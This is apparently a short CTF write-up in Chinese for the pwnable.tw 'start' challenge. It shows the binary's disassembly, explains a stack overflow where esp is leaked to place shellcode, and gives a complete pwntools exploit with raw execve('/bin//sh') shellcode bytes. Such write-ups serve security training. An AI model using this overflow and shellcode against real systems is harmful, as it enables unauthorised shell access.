Every time a bell rings, an angel gets his wings.
Start
程序分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| push esp push offset _exit xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx push ':FTC' push ' eht' push ' tra' push 'ts s' push 2774654Ch mov ecx, esp ; addr mov dl, 14h ; len mov bl, 1 ; fd mov al, 4 int 80h ; LINUX - sys_write xor ebx, ebx mov dl, 3Ch mov al, 3 int 80h ; LINUX - add esp, 14h retn
|
很明显的栈溢出,没有其他可以利用的函数和gadget,只好利用shellcode。因此需要泄露esp的地址,并且payload长度不能超过0x3c,因此需要精心构造shellcode。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from pwn import *
p = remote('chall.pwnable.tw',10000)
payload = 'a'*20 + p32(0x08048087) p.recvuntil(':') p.send(payload) addr = u32(p.recv(4))+20 print hex(addr) shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80' payload = 'a'*20 + p32(addr) + shellcode print hex(len(payload)) print disasm(shellcode) p.send(payload) p.interactive()
|